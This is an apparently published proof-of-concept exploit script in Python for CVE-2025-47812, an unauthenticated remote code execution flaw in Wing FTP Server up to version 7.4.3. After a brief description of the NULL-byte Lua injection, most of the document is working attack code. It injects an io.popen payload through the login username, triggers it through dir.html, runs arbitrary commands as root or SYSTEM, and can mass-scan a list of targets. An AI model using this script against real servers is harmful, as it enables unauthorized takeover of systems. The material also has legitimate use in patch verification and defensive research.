# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
# CVE: CVE-2025-47812
# Date: 2025-06-30
# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
# Vendor Homepage: https://www.wftpserver.com/
# Version: Wing FTP Server <= 7.4.3
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)
# Description:
# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
# parameter during login, leading to Lua code injection into session files. These maliciously crafted
# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
# and the session creation logic (which uses the full unsanitized username).
# Proof-of-Concept (Python):
# The provided Python script automates the exploitation process.
# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
# Upon successful authentication (even anonymous), a UID cookie is returned.
# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
# leading to RCE.
import requests
import re
import argparse
# ANSI color codes
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"
def print_green(text):
print(f"{GREEN}{text}{RESET}")
def print_red(text):
print(f"{RED}{text}{RESET}")
def run_exploit(target_url, command, username="anonymous", verbose=False):
login_url = f"{target_url}/loginok.html"
login_headers = {
"Host": target_url.split('//')[1].split('/')[0],
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Connection": "keep-alive",
"Referer": f"{target_url}/login.html?lang=english",
"Cookie": "client_lang=english",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
from urllib.parse import quote
encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)
if verbose:
print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")
try:
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
login_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending POST request to {login_url}: {e}")
return False
set_cookie = login_response.headers.get("Set-Cookie", "")
match = re.search(r'UID=([^;]+)', set_cookie)
if not match:
print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
return False
uid = match.group(1)
if verbose:
print_green(f"[+] UID extracted: {uid}")
dir_url = f"{target_url}/dir.html"
dir_headers = {
"Host": login_headers["Host"],
"User-Agent": login_headers["User-Agent"],
"Accept": login_headers["Accept"],
"Accept-Language": login_headers["Accept-Language"],
"Accept-Encoding": login_headers["Accept-Encoding"],
"Connection": "keep-alive",
"Cookie": f"UID={uid}",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
if verbose:
print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")
try:
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
dir_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending GET request to {dir_url}: {e}")
return False
body = dir_response.text
clean_output = re.split(r'<\?xml', body)[0].strip()
if verbose:
print_green("\n--- Command Output ---")
print(clean_output)
print_green("----------------------")
else:
if clean_output:
print_green(f"[+] {target_url} is vulnerable!")
else:
print_red(f"[-] {target_url} is NOT vulnerable.")
return bool(clean_output)
def main():
parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
parser.add_argument("-u", "--url", type=str,
help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
parser.add_argument("-f", "--file", type=str,
help="File containing list of target URLs (one per line).")
parser.add_argument("-c", "--command", type=str,
help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
parser.add_argument("-v", "--verbose", action="store_true",
help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
parser.add_argument("-o", "--output", type=str,
help="File to save vulnerable URLs.")
parser.add_argument("-U", "--username", type=str, default="anonymous",
help="Username to use in the exploit payload. Default: anonymous")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("Either -u/--url or -f/--file must be specified.")
command_to_use = args.command if args.command else "whoami"
verbose_mode = True if args.command else args.verbose
vulnerable_sites = []
targets = []
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print_red(f"[-] Could not read target file '{args.file}': {e}")
return
else:
targets = [args.url]
for target in targets:
print(f"\n[*] Testing target: {target}")
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
if is_vulnerable:
vulnerable_sites.append(target)
if args.output and vulnerable_sites:
try:
with open(args.output, 'w') as out_file:
for site in vulnerable_sites:
out_file.write(site + "\n")
print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
except Exception as e:
print_red(f"[-] Could not write to output file '{args.output}': {e}")
if __name__ == "__main__":
main()